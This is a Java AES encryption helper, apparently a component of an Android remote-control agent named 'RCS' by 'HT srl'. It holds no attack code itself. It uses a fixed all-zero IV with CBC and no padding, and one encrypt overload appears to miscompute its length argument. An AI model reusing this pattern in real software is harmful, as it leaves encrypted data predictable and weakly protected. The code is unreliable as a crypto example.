/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : Crypto.java
 * Created      : Apr 9, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.crypto;

import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

import com.android.dvci.action.sync.Statistics;
import com.android.dvci.auto.Cfg;
import com.android.mm.M;

// TODO: Auto-generated Javadoc
/**
 * http://www.androidsnippets.org/snippets/39/index.html
 * 
 * @author zeno
 * 
 */
public class Crypto {

	/** The Constant TAG. */
	private static final String TAG = "Crypto"; //$NON-NLS-1$

	/** The aes_key. */
	private final byte[] aes_key;

	/** The skey_spec. */
	private final SecretKeySpec skey_spec;

	/** The iv spec. */
	private final IvParameterSpec ivSpec;

	/** The cipher. */
	Cipher cipherEnc;
	Cipher cipherDec;

	/**
	 * Instantiates a new crypto.
	 * 
	 * @param key
	 *            the key
	 * @throws NoSuchAlgorithmException
	 *             the no such algorithm exception
	 * @throws NoSuchPaddingException
	 *             the no such padding exception
	 * @throws InvalidAlgorithmParameterException
	 * @throws InvalidKeyException
	 */
	public Crypto(final byte[] key, boolean encrypt) throws NoSuchAlgorithmException, NoSuchPaddingException,
			InvalidKeyException, InvalidAlgorithmParameterException {
		this(key);
		// 17.1=AES/CBC/NoPadding
		if (encrypt) {
			cipherEnc = Cipher.getInstance(M.e("AES/CBC/NoPadding")); //$NON-NLS-1$
			cipherEnc.init(Cipher.ENCRYPT_MODE, skey_spec, ivSpec);
		} else {
			cipherDec = Cipher.getInstance(M.e("AES/CBC/NoPadding")); //$NON-NLS-1$
			cipherDec.init(Cipher.DECRYPT_MODE, skey_spec, ivSpec);
		}
	}

	public Crypto(final byte[] key) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException,
			InvalidAlgorithmParameterException {
		aes_key = new byte[key.length];
		System.arraycopy(key, 0, aes_key, 0, key.length);
		// 17.0=AES
		skey_spec = new SecretKeySpec(aes_key, "AES"); //$NON-NLS-1$

		final byte[] iv = new byte[16];

		for (int i = 0; i < 16; i++) {
			iv[i] = 0;
		}

		ivSpec = new IvParameterSpec(iv);

		cipherEnc = Cipher.getInstance("AES/CBC/NoPadding"); //$NON-NLS-1$
		cipherEnc.init(Cipher.ENCRYPT_MODE, skey_spec, ivSpec);

		cipherDec = Cipher.getInstance("AES/CBC/NoPadding"); //$NON-NLS-1$
		cipherDec.init(Cipher.DECRYPT_MODE, skey_spec, ivSpec);
	}

	/**
	 * Encrypt.
	 * 
	 * @param clear
	 *            the clear
	 * @return the byte[]
	 * @throws Exception
	 *             the exception
	 */
	public byte[] encrypt(final byte[] plain) throws Exception {
		Statistics statistics;
		if (Cfg.STATISTICS) {
			statistics = new Statistics("encrypt");
			statistics.start(false);
			statistics.addIn(plain.length);
		}

		final byte[] encrypted = cipherEnc.doFinal(plain);
		if (Cfg.STATISTICS) {
			statistics.stop();
		}
		return encrypted;
	}

	public byte[] encrypt(byte[] plain, int offset) throws IllegalBlockSizeException, BadPaddingException,
			InvalidKeyException, InvalidAlgorithmParameterException {

		Statistics statistics;
		if (Cfg.STATISTICS) {
			statistics = new Statistics("encrypt");
			statistics.start(false);
			statistics.addIn(plain.length);
		}

		final byte[] encrypted = cipherEnc.doFinal(plain, offset, plain.length - offset);

		if (Cfg.STATISTICS) {
			statistics.stop();
		}

		return encrypted;
	}

	public byte[] encrypt(byte[] plain, int offset, byte[] iv) throws IllegalBlockSizeException, BadPaddingException {
		IvParameterSpec ivSpecIter = new IvParameterSpec(iv);
		try {
			cipherEnc.init(Cipher.ENCRYPT_MODE, skey_spec, ivSpecIter);
		} catch (InvalidKeyException e) {
			return null;
		} catch (InvalidAlgorithmParameterException e) {
			return null;
		}
		
		Statistics statistics;
		if (Cfg.STATISTICS) {
			statistics = new Statistics("encrypt");
			statistics.start(false);
			statistics.addIn(plain.length);
		}

		final byte[] encrypted = cipherEnc.doFinal(plain, offset, plain.length);

		if (Cfg.STATISTICS) {
			statistics.stop();
		}

		return encrypted;
	}

	/**
	 * Decrypt.
	 * 
	 * @param encrypted
	 *            the encrypted
	 * @return the byte[]
	 * @throws Exception
	 *             the exception
	 */
	public byte[] decrypt(final byte[] encrypted) throws Exception {
		// final Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");

		Statistics statistics;
		if (Cfg.STATISTICS) {
			statistics = new Statistics("decrypt");
			statistics.start(false);
			statistics.addIn(encrypted.length);
		}
		final byte[] decrypted = cipherDec.doFinal(encrypted);
		if (Cfg.STATISTICS) {
			statistics.stop();
		}
		return decrypted;
	}

	/**
	 * Decrypt.
	 * 
	 * @param encrypted
	 *            the encrypted
	 * @param offset
	 *            the offset
	 * @param offset2
	 * @return the byte[]
	 * @throws Exception
	 *             the exception
	 */
	public byte[] decrypt(final byte[] encrypted, final int plainlen, int offset) throws Exception {
		if (offset < 0 || encrypted.length < offset) {
			return null;
		}

		Statistics statistics;
		if (Cfg.STATISTICS) {
			statistics = new Statistics("decrypt");
			statistics.start(false);
			statistics.addIn(encrypted.length);
		}

		byte[] plain = cipherDec.doFinal(encrypted, offset, encrypted.length - offset);
		if (Cfg.STATISTICS) {
			statistics.stop();
		}
		byte[] dst = new byte[plainlen];
		System.arraycopy(plain, 0, dst, 0, plainlen);
		return dst;

	}

}